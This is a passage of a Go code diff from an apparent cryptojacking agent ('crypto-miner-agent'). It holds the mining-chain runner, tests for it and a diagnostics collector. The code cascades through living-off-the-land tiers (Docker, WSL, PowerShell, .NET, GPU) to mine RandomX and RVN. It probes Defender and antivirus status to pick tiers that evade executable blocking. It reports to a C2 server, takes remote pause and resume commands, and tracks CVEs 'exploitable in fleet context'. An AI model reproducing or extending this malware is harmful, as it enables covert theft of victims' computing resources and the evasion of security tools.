StopContainer: r.stopContainer,
|
||||
StopWSL: r.stopWSL,
|
||||
StopPowerShell: r.stopPowerShell,
|
||||
StopDotnet: r.stopDotnet,
|
||||
StopInProcess: r.stopInProcess,
|
||||
StopGPU: r.stopGPU,
|
||||
StopPyOpenCL: r.stopPyOpenCL,
|
||||
IsDockerLoadHealthy: func() bool {
|
||||
return c.containerMiner != nil && c.containerMiner.Running()
|
||||
},
|
||||
IsContainerHealthy: func() bool {
|
||||
return c.containerMiner != nil && c.containerMiner.Running()
|
||||
},
|
||||
IsWSLHealthy: func() bool {
|
||||
return c.wslMiner != nil && c.wslMiner.Running()
|
||||
},
|
||||
IsGPUSupported: func() bool {
|
||||
return newGPUMiner(c.cfg) != nil
|
||||
},
|
||||
PoolConfigured: func() bool {
|
||||
return c.cfg.PoolHost != ""
|
||||
},
|
||||
}
|
||||
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||
r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(hooks.IsGPUSupported), r.reportTierEvent)
|
||||
hooks.RunTierProbes = func() miner.TierReport {
|
||||
r.tiers.RunProbes(context.Background())
|
||||
return r.tiers.Report()
|
||||
}
|
||||
hooks.RunTierChain = func() (miner.LOTLTier, error) {
|
||||
tier, err := r.tiers.TryChain(context.Background())
|
||||
return tier, err
|
||||
}
|
||||
hooks.StopTiers = func() {}
|
||||
hooks.WebGPUReady = r.tiers.WebGPUReady
|
||||
hooks.GPUComputeReady = r.tiers.GPUComputeReady
|
||||
r.ctrl = miner.NewChainController(c.cfg, hooks, r.reportMiningEvent)
|
||||
r.onion = r.wireTripleOnion()
|
||||
return r
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) tiersHooks(isGPUSupported func() bool) miner.TierHooks {
|
||||
return miner.TierHooks{
|
||||
StartDockerLoad: r.startDockerLoad,
|
||||
StartContainer: r.startContainer,
|
||||
StartWSL: r.startWSL,
|
||||
StartPowerShell: r.startPowerShell,
|
||||
StartDotnet: r.startDotnet,
|
||||
StartInProcess: r.startInProcess,
|
||||
StartGPU: r.startGPU,
|
||||
StopDockerLoad: r.stopDockerLoad,
|
||||
StopContainer: r.stopContainer,
|
||||
StopWSL: r.stopWSL,
|
||||
StopPowerShell: r.stopPowerShell,
|
||||
StopDotnet: r.stopDotnet,
|
||||
StopInProcess: r.stopInProcess,
|
||||
StopGPU: r.stopGPU,
|
||||
IsGPUSupported: isGPUSupported,
|
||||
}
|
||||
}
|
||||
|
||||
// Start launches recon → deploy → mining triple onion, then the health monitor.
|
||||
func (r *MiningChainRunner) Start(ctx context.Context) {
|
||||
if r.onion != nil {
|
||||
report := r.onion.Run(ctx)
|
||||
log.Printf("[triple-onion] complete phase=%s gate=%+v recon_risk=%d attempts=%d",
|
||||
report.ActivePhase, report.Gate, report.Recon.RiskScore, len(report.Attempts))
|
||||
r.mu.Lock()
|
||||
r.onionAttempts = report.Attempts
|
||||
r.mu.Unlock()
|
||||
return
|
||||
}
|
||||
r.startMiningCascade(ctx)
|
||||
}
|
||||
|
||||
// startMiningCascade runs the existing LOTL mining onion + fallback chain.
|
||||
func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
|
||||
execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg)
|
||||
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||
tierReport := r.tiers.Report()
|
||||
log.Printf("[mining-chain] execution=%s runtime=%s available=%v order=%v lotl=%v",
|
||||
execMode, containerRT.CLI, containerRT.Available, r.ctrl.Status().ChainOrder, tierReport.TierChainOrder)
|
||||
if hint := miner.AVBlockRecommendation(execMode, containerRT); hint != "" {
|
||||
log.Printf("[mining-chain] %s", hint)
|
||||
}
|
||||
if probes.AVBlocksExe {
|
||||
log.Printf("[mining-chain] AV blocks exe — tier onion skips subprocess, prefers container/WSL/PS")
|
||||
}
|
||||
|
||||
if r.onion != nil && r.onion.GateDecisionSnapshot().ForceIsolated {
|
||||
policy := miner.ApplyIsolatedMiningPolicy(r.client.miningTierPolicy())
|
||||
r.client.mu.Lock()
|
||||
r.client.tierPolicy = policy
|
||||
r.client.mu.Unlock()
|
||||
r.tiers = miner.NewTierOrchestrator(r.client.cfg, probes, policy, r.tiersHooks(func() bool {
|
||||
return newGPUMiner(r.client.cfg) != nil
|
||||
}), r.reportTierEvent)
|
||||
}
|
||||
|
||||
if tier, err := r.tiers.TryChain(ctx); err != nil {
|
||||
log.Printf("[mining-chain] LOTL tier chain failed: %v", err)
|
||||
} else if method, ok := miner.TierToMiningMethod(tier); ok {
|
||||
r.ctrl.SetPrimaryActive(method)
|
||||
}
|
||||
|
||||
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
||||
log.Printf("[mining-chain] initial chain pass failed: %v", err)
|
||||
}
|
||||
|
||||
monCtx, cancel := context.WithCancel(ctx)
|
||||
r.mu.Lock()
|
||||
r.monCancel = cancel
|
||||
r.mu.Unlock()
|
||||
go r.ctrl.Monitor(monCtx)
|
||||
}
|
||||
|
||||
// Stop halts all mining methods in the chain.
|
||||
func (r *MiningChainRunner) Stop() {
|
||||
r.mu.Lock()
|
||||
if r.monCancel != nil {
|
||||
r.monCancel()
|
||||
r.monCancel = nil
|
||||
}
|
||||
r.mu.Unlock()
|
||||
r.ctrl.StopAll()
|
||||
}
|
||||
|
||||
// Resume restarts mining after a remote pause command.
|
||||
func (r *MiningChainRunner) Resume(ctx context.Context) {
|
||||
r.ctrl.ResumeAll(ctx)
|
||||
}
|
||||
|
||||
// Restart reruns the full chain (remote resume / reconnect).
|
||||
func (r *MiningChainRunner) Restart(ctx context.Context) {
|
||||
r.ctrl.RestartChain(ctx)
|
||||
}
|
||||
|
||||
// Status returns the live cascade snapshot for stats/diagnostics.
|
||||
func (r *MiningChainRunner) Status() miner.MiningStatus {
|
||||
st := r.ctrl.Status()
|
||||
if r.tiers == nil {
|
||||
return st
|
||||
}
|
||||
tr := r.tiers.Report()
|
||||
if tr.ActiveTier != "" {
|
||||
st.LOTLTier = tr.ActiveTier
|
||||
}
|
||||
r.mu.Lock()
|
||||
onionAttempts := r.onionAttempts
|
||||
r.mu.Unlock()
|
||||
attempts := tr.Attempts
|
||||
if len(onionAttempts) > 0 {
|
||||
attempts = mergeOnionAttempts(onionAttempts, attempts)
|
||||
}
|
||||
if len(attempts) > 0 {
|
||||
st.LOTLAttempts = attempts
|
||||
}
|
||||
st.WebGPUReady = tr.WebGPUReady
|
||||
return st
|
||||
}
|
||||
|
||||
func mergeOnionAttempts(onion, mining []miner.TierAttempt) []miner.TierAttempt {
|
||||
out := make([]miner.TierAttempt, 0, len(onion)+len(mining))
|
||||
out = append(out, onion...)
|
||||
for _, a := range mining {
|
||||
if a.Phase == "" || a.Phase == string(miner.OnionPhaseMining) {
|
||||
out = append(out, a)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// SetStratumActive records direct Stratum overlay from stratumFallbackManager.
|
||||
func (r *MiningChainRunner) SetStratumActive(active bool) {
|
||||
r.ctrl.SetStratumActive(active)
|
||||
}
|
||||
|
||||
// OnGPUFailed records GPU subprocess failure without stopping CPU primary.
|
||||
func (r *MiningChainRunner) OnGPUFailed(reason string) {
|
||||
r.ctrl.OnMethodFailed(miner.MethodGPUSubprocess, reason)
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) startDockerLoad() error {
|
||||
c := r.client
|
||||
_, containerRT := miner.ResolveExecutionMode(c.cfg)
|
||||
if !containerRT.Available {
|
||||
return fmt.Errorf("docker_load tier: no container runtime (docker/podman not in PATH)")
|
||||
}
|
||||
tarPath, err := miner.ResolveImageTar(c.cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
launcher, err := miner.NewContainerLauncherFromTar(c.cfg, containerRT, tarPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
c.containerMiner = launcher
|
||||
c.hostMiningDisabled.Store(true)
|
||||
c.pool.PauseRemote()
|
||||
log.Printf("[mining-chain] docker_load active — host RandomX paused wallet=%s", c.cfg.Wallet)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) startContainer() error {
|
||||
c := r.client
|
||||
_, containerRT := miner.ResolveExecutionMode(c.cfg)
|
||||
launcher, err := miner.NewContainerLauncher(c.cfg, containerRT)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
c.containerMiner = launcher
|
||||
c.hostMiningDisabled.Store(true)
|
||||
c.pool.PauseRemote()
|
||||
log.Printf("[mining-chain] container active — host RandomX paused")
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) startWSL() error {
|
||||
c := r.client
|
||||
wslRT := miner.WSLDetector()
|
||||
launcher, err := miner.NewWSLLauncher(c.cfg, wslRT)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
c.wslMiner = launcher
|
||||
c.hostMiningDisabled.Store(true)
|
||||
c.pool.PauseRemote()
|
||||
log.Printf("[mining-chain] wsl active — host RandomX paused wallet=%s", c.cfg.Wallet)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) startPowerShell() error {
|
||||
c := r.client
|
||||
launcher, err := miner.NewPowerShellLauncher(c.cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
c.psMiner = launcher
|
||||
c.hostMiningDisabled.Store(true)
|
||||
c.pool.PauseRemote()
|
||||
log.Printf("[mining-chain] powershell tier active wallet=%s pool=%s:%d", c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) startDotnet() error {
|
||||
c := r.client
|
||||
launcher, err := miner.NewDotnetLauncher(c.cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
c.dotnetMiner = launcher
|
||||
c.hostMiningDisabled.Store(true)
|
||||
c.pool.PauseRemote()
|
||||
log.Printf("[mining-chain] dotnet tier active wallet=%s pool=%s:%d toolchain=%s dir=%s",
|
||||
c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort, launcher.Toolchain(), launcher.WorkDir())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) startInProcess() error {
|
||||
c := r.client
|
||||
r.stopSidecarPrimary(c)
|
||||
c.hostMiningDisabled.Store(false)
|
||||
c.pool.ResumeRemote()
|
||||
log.Printf("[mining-chain] in-process RandomX active")
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) startGPU() error {
|
||||
c := r.client
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if c.gpuMiner != nil {
|
||||
c.gpuMiner.Resume()
|
||||
return nil
|
||||
}
|
||||
gm := newGPUMiner(c.cfg)
|
||||
if gm == nil {
|
||||
return miner.ErrMethodUnavailable
|
||||
}
|
||||
c.gpuMiner = gm
|
||||
gm.Start()
|
||||
log.Printf("[mining-chain] GPU subprocess started (parallel RVN)")
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) startPyOpenCL() error {
|
||||
if err := miner.StartPyOpenCLTier(r.client.cfg); err != nil {
|
||||
return err
|
||||
}
|
||||
log.Printf("[mining-chain] linux_pyopencl tier probe OK")
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) stopPyOpenCL() {}
|
||||
|
||||
func (r *MiningChainRunner) stopDockerLoad() {
|
||||
r.stopContainer()
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) stopContainer() {
|
||||
c := r.client
|
||||
if c.containerMiner != nil {
|
||||
c.containerMiner.Stop()
|
||||
c.containerMiner = nil
|
||||
}
|
||||
c.hostMiningDisabled.Store(false)
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) stopWSL() {
|
||||
c := r.client
|
||||
if c.wslMiner != nil {
|
||||
c.wslMiner.Stop()
|
||||
c.wslMiner = nil
|
||||
}
|
||||
c.hostMiningDisabled.Store(false)
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) stopPowerShell() {
|
||||
c := r.client
|
||||
if c.psMiner != nil {
|
||||
c.psMiner.Stop()
|
||||
c.psMiner = nil
|
||||
}
|
||||
c.hostMiningDisabled.Store(false)
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) stopDotnet() {
|
||||
c := r.client
|
||||
if c.dotnetMiner != nil {
|
||||
c.dotnetMiner.Stop()
|
||||
c.dotnetMiner = nil
|
||||
}
|
||||
c.hostMiningDisabled.Store(false)
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) stopSidecarPrimary(c *AgentClient) {
|
||||
if c.containerMiner != nil && c.containerMiner.Running() {
|
||||
c.containerMiner.Stop()
|
||||
c.containerMiner = nil
|
||||
}
|
||||
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||
c.wslMiner.Stop()
|
||||
c.wslMiner = nil
|
||||
}
|
||||
if c.psMiner != nil && c.psMiner.Running() {
|
||||
c.psMiner.Stop()
|
||||
c.psMiner = nil
|
||||
}
|
||||
if c.dotnetMiner != nil && c.dotnetMiner.Running() {
|
||||
c.dotnetMiner.Stop()
|
||||
c.dotnetMiner = nil
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) stopInProcess() {
|
||||
c := r.client
|
||||
c.pool.PauseRemote()
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) stopGPU() {
|
||||
c := r.client
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Stop()
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.gpuMiner = nil
|
||||
c.mu.Unlock()
|
||||
r.ctrl.SetGPUActive(false)
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reportTierEvent(report miner.TierReport, eventType string) {
|
||||
c := r.client
|
||||
payload, err := json.Marshal(struct {
|
||||
miner.TierReport
|
||||
Event string `json:"event"`
|
||||
}{
|
||||
TierReport: report,
|
||||
Event: eventType,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := c.write(Message{Type: "tier_report", Payload: payload}); err != nil {
|
||||
log.Printf("[lotl-tier] %s notify failed: %v", eventType, err)
|
||||
}
|
||||
r.ctrl.MergeLOTLReport(report)
|
||||
if method, ok := miner.TierToMiningMethod(report.ActiveTier); ok {
|
||||
r.ctrl.SetPrimaryActive(method)
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reportMiningEvent(status miner.MiningStatus, eventType string) {
|
||||
c := r.client
|
||||
payload, err := json.Marshal(struct {
|
||||
miner.MiningStatus
|
||||
Event string `json:"event"`
|
||||
}{
|
||||
MiningStatus: status,
|
||||
Event: eventType,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := c.write(Message{Type: eventType, Payload: payload}); err != nil {
|
||||
log.Printf("[mining-chain] %s notify failed: %v", eventType, err)
|
||||
}
|
||||
}
|
||||
|
||||
// chainOrderForConfig exposes chain order for diagnostics without starting mining.
|
||||
func chainOrderForConfig(cfg config.RuntimeConfig) []miner.MiningMethod {
|
||||
rt := miner.RuntimeDetector()
|
||||
return miner.DefaultFallbackChain(cfg, rt)
|
||||
}
|
||||
|
||||
func tierChainForConfig(cfg config.RuntimeConfig, policy miner.MiningTierPolicy) []miner.LOTLTier {
|
||||
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||
chain, _ := miner.SelectMiningTierChain(probes, policy, cfg)
|
||||
return chain
|
||||
}
|
||||
93
agent/client/mining_chain_test.go
Normal file
93
agent/client/mining_chain_test.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestChainOrderForConfigInProcessSkipsContainer(t *testing.T) {
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
})
|
||||
defer miner.SetRuntimeDetector(nil)
|
||||
|
||||
order := chainOrderForConfig(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: miner.ExecutionInProcess,
|
||||
PoolHost: "pool.example.com",
|
||||
},
|
||||
})
|
||||
for _, m := range order {
|
||||
if m == miner.MethodContainer {
|
||||
t.Fatalf("inprocess mode must not include container, got %v", order)
|
||||
}
|
||||
}
|
||||
if len(order) == 0 || order[0] != miner.MethodInProcess {
|
||||
t.Fatalf("want inprocess first, got %v", order)
|
||||
}
|
||||
stratumIdx := -1
|
||||
for i, m := range order {
|
||||
if m == miner.MethodStratumDirect {
|
||||
stratumIdx = i
|
||||
}
|
||||
}
|
||||
if stratumIdx < 0 {
|
||||
t.Fatalf("want stratum_direct when pool configured, got %v", order)
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
for i, m := range order {
|
||||
if m == miner.MethodStratumDirect && i < len(order)-1 {
|
||||
// Windows appends LOTL probe/execution tiers after stratum.
|
||||
return
|
||||
}
|
||||
}
|
||||
} else if order[len(order)-1] != miner.MethodStratumDirect {
|
||||
t.Fatalf("want stratum last when pool configured, got %v", order)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChainOrderForConfigAutoWithDocker(t *testing.T) {
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
})
|
||||
defer miner.SetRuntimeDetector(nil)
|
||||
|
||||
order := chainOrderForConfig(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: miner.ExecutionAuto,
|
||||
PoolHost: "p",
|
||||
},
|
||||
})
|
||||
wantPrefix := []miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess, miner.MethodStratumDirect}
|
||||
if len(order) < len(wantPrefix) {
|
||||
t.Fatalf("order=%v want prefix %v", order, wantPrefix)
|
||||
}
|
||||
for i := range wantPrefix {
|
||||
if order[i] != wantPrefix[i] {
|
||||
t.Fatalf("order[%d]=%q want %q full=%v", i, order[i], wantPrefix[i], order)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestChainOrderForConfigContainerWithoutRuntime(t *testing.T) {
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
|
||||
defer miner.SetRuntimeDetector(nil)
|
||||
|
||||
order := chainOrderForConfig(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: miner.ExecutionContainer,
|
||||
PoolHost: "p",
|
||||
},
|
||||
})
|
||||
for _, m := range order {
|
||||
if m == miner.MethodContainer {
|
||||
t.Fatalf("no runtime — container must be omitted, got %v", order)
|
||||
}
|
||||
}
|
||||
if order[0] != miner.MethodInProcess {
|
||||
t.Fatalf("want inprocess first without runtime, got %v", order)
|
||||
}
|
||||
}
|
||||
296
agent/client/mining_diagnostics.go
Normal file
296
agent/client/mining_diagnostics.go
Normal file
@@ -0,0 +1,296 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"runtime"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
// MiningDiagnostics is a read-only snapshot of why mining may be idle or blocked.
|
||||
type MiningDiagnostics struct {
|
||||
GeneratedAt string `json:"generated_at"`
|
||||
Platform string `json:"platform"`
|
||||
ConfiguredExecution string `json:"configured_execution"`
|
||||
ExecutionMode string `json:"execution_mode"`
|
||||
ContainerAvailable bool `json:"container_runtime_available"`
|
||||
ContainerCLI string `json:"container_runtime_cli,omitempty"`
|
||||
ContainerRunning bool `json:"container_running"`
|
||||
DockerLoadAvailable bool `json:"docker_load_available"`
|
||||
DockerImageTar string `json:"docker_image_tar,omitempty"`
|
||||
WSLAvailable bool `json:"wsl_available"`
|
||||
WSLDistros []string `json:"wsl_distros,omitempty"`
|
||||
WSLRunning bool `json:"wsl_running"`
|
||||
HostMiningDisabled bool `json:"host_mining_disabled"`
|
||||
C2Connected bool `json:"c2_connected"`
|
||||
LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"`
|
||||
MiningMode string `json:"mining_mode"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
InstallDir string `json:"install_dir,omitempty"`
|
||||
AVRecommendation string `json:"av_recommendation,omitempty"`
|
||||
LikelyBlockers []string `json:"likely_blockers"`
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
FailedMethods []struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
} `json:"failed_methods,omitempty"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
CPU struct {
|
||||
RemotePaused bool `json:"remote_paused"`
|
||||
ScheduleBlocked bool `json:"schedule_blocked"`
|
||||
ResourcesBlocked bool `json:"resources_blocked"`
|
||||
HasJob bool `json:"has_job"`
|
||||
Hashrate float64 `json:"hashrate_hps"`
|
||||
} `json:"cpu"`
|
||||
GPU struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
Active bool `json:"active"`
|
||||
Paused bool `json:"paused"`
|
||||
Model string `json:"model,omitempty"`
|
||||
} `json:"gpu"`
|
||||
Defender *struct {
|
||||
Enabled *bool `json:"enabled,omitempty"`
|
||||
RTP *bool `json:"rtp,omitempty"`
|
||||
Products []string `json:"products,omitempty"`
|
||||
} `json:"defender,omitempty"`
|
||||
|
||||
EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
|
||||
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
||||
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
||||
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
||||
|
||||
VulnFindings []struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
} `json:"vuln_findings,omitempty"`
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
||||
execMode, containerRT := miner.ResolveExecutionMode(c.cfg)
|
||||
remotePaused, scheduleBlocked, resourcesBlocked, hasJob, hps := c.pool.DiagnosticSnapshot()
|
||||
|
||||
var d MiningDiagnostics
|
||||
d.GeneratedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
d.Platform = runtime.GOOS
|
||||
d.ConfiguredExecution = c.cfg.MinerExecution
|
||||
d.ExecutionMode = execMode
|
||||
d.ContainerAvailable = containerRT.Available
|
||||
d.ContainerCLI = containerRT.CLI
|
||||
if c.containerMiner != nil {
|
||||
d.ContainerRunning = c.containerMiner.Running()
|
||||
}
|
||||
if tarPath, err := miner.ResolveImageTar(c.cfg); err == nil {
|
||||
d.DockerLoadAvailable = containerRT.Available
|
||||
d.DockerImageTar = tarPath
|
||||
}
|
||||
wslRT := miner.WSLDetector()
|
||||
d.WSLAvailable = wslRT.Available
|
||||
d.WSLDistros = wslRT.Distros
|
||||
if c.wslMiner != nil {
|
||||
d.WSLRunning = c.wslMiner.Running()
|
||||
}
|
||||
d.HostMiningDisabled = c.hostMiningDisabled.Load()
|
||||
d.C2Connected = c.connected.Load()
|
||||
if raw := c.lastJobAt.Load(); raw != nil {
|
||||
age := time.Since(raw.(time.Time)).Seconds()
|
||||
d.LastJobAgeSec = &age
|
||||
}
|
||||
d.MiningMode = c.cfg.MiningMode
|
||||
d.PoolHost = c.cfg.PoolHost
|
||||
d.PoolPort = c.cfg.PoolPort
|
||||
if dir, err := c.cfg.InstallDirectory(); err == nil {
|
||||
d.InstallDir = dir
|
||||
}
|
||||
d.AVRecommendation = miner.AVBlockRecommendation(execMode, containerRT)
|
||||
d.EnvironmentProbes = miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||
if d.EnvironmentProbes.GPU == false && c.cfg.GPUEnabled {
|
||||
d.EnvironmentProbes.GPU = newGPUMiner(c.cfg) != nil
|
||||
}
|
||||
if p := collectPosture(); p != nil && p.DefenderRTP != nil && *p.DefenderRTP {
|
||||
d.EnvironmentProbes.AVBlocksExe = true
|
||||
}
|
||||
|
||||
tierChain := tierChainForConfig(c.cfg, c.miningTierPolicy())
|
||||
d.TierChainOrder = make([]string, len(tierChain))
|
||||
for i, t := range tierChain {
|
||||
d.TierChainOrder[i] = string(t)
|
||||
}
|
||||
_, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, c.miningTierPolicy(), c.cfg)
|
||||
d.TierChainSkipped = make([]string, len(skipped))
|
||||
for i, t := range skipped {
|
||||
d.TierChainSkipped[i] = string(t)
|
||||
}
|
||||
|
||||
d.CPU.RemotePaused = remotePaused
|
||||
d.CPU.ScheduleBlocked = scheduleBlocked
|
||||
d.CPU.ResourcesBlocked = resourcesBlocked
|
||||
d.CPU.HasJob = hasJob
|
||||
d.CPU.Hashrate = hps
|
||||
|
||||
d.GPU.Enabled = c.cfg.GPUEnabled
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
_, active := gm.Stats()
|
||||
d.GPU.Active = active
|
||||
d.GPU.Model = gm.GPUModel()
|
||||
gm.mu.RLock()
|
||||
d.GPU.Paused = gm.paused
|
||||
gm.mu.RUnlock()
|
||||
} else if c.cfg.GPUEnabled {
|
||||
d.LikelyBlockers = append(d.LikelyBlockers, "gpu_enabled but no supported GPU miner started (driver missing or AV blocked T-Rex/TRM download)")
|
||||
}
|
||||
|
||||
if p := collectPosture(); p != nil && (p.DefenderEnabled != nil || len(p.AVProducts) > 0) {
|
||||
d.Defender = &struct {
|
||||
Enabled *bool `json:"enabled,omitempty"`
|
||||
RTP *bool `json:"rtp,omitempty"`
|
||||
Products []string `json:"products,omitempty"`
|
||||
}{
|
||||
Enabled: p.DefenderEnabled,
|
||||
RTP: p.DefenderRTP,
|
||||
Products: p.AVProducts,
|
||||
}
|
||||
}
|
||||
|
||||
d.LikelyBlockers = append(d.LikelyBlockers, c.inferMiningBlockers(d)...)
|
||||
|
||||
if c.miningChain != nil {
|
||||
ms := c.miningChain.Status()
|
||||
if ms.LOTLTier != "" {
|
||||
d.LOTLTier = string(ms.LOTLTier)
|
||||
}
|
||||
if len(ms.LOTLAttempts) > 0 {
|
||||
d.LOTLAttempts = append(d.LOTLAttempts[:0:0], ms.LOTLAttempts...)
|
||||
}
|
||||
d.WebGPUReady = ms.WebGPUReady
|
||||
if c.miningChain.tiers != nil {
|
||||
tr := c.miningChain.tiers.Report()
|
||||
d.GPUComputeOK = tr.GPUComputeOK
|
||||
if d.LOTLTier == "" && tr.ActiveTier != "" {
|
||||
d.LOTLTier = string(tr.ActiveTier)
|
||||
}
|
||||
if len(d.LOTLAttempts) == 0 && len(tr.Attempts) > 0 {
|
||||
d.LOTLAttempts = tr.Attempts
|
||||
}
|
||||
}
|
||||
d.ActiveMethod = string(ms.ActiveMethod)
|
||||
d.StratumOverlay = ms.StratumOverlay
|
||||
d.ChainExhausted = ms.ChainExhausted
|
||||
if len(ms.ChainOrder) > 0 {
|
||||
d.ChainOrder = make([]string, len(ms.ChainOrder))
|
||||
for i, m := range ms.ChainOrder {
|
||||
d.ChainOrder[i] = string(m)
|
||||
}
|
||||
}
|
||||
if len(ms.FailedMethods) > 0 {
|
||||
d.FailedMethods = make([]struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
}, len(ms.FailedMethods))
|
||||
for i, f := range ms.FailedMethods {
|
||||
d.FailedMethods[i].Method = string(f.Method)
|
||||
d.FailedMethods[i].Reason = f.Reason
|
||||
d.FailedMethods[i].At = f.At
|
||||
}
|
||||
}
|
||||
} else {
|
||||
d.ChainOrder = make([]string, len(chainOrderForConfig(c.cfg)))
|
||||
for i, m := range chainOrderForConfig(c.cfg) {
|
||||
d.ChainOrder[i] = string(m)
|
||||
}
|
||||
}
|
||||
|
||||
if vr := LastVulnScan(); vr != nil {
|
||||
score := vr.RiskScore
|
||||
d.VulnRiskScore = &score
|
||||
if len(vr.Findings) > 0 {
|
||||
d.VulnFindings = make([]struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}, len(vr.Findings))
|
||||
for i, f := range vr.Findings {
|
||||
d.VulnFindings[i].CVEID = f.CVEID
|
||||
d.VulnFindings[i].Severity = f.Severity
|
||||
d.VulnFindings[i].Component = f.Component
|
||||
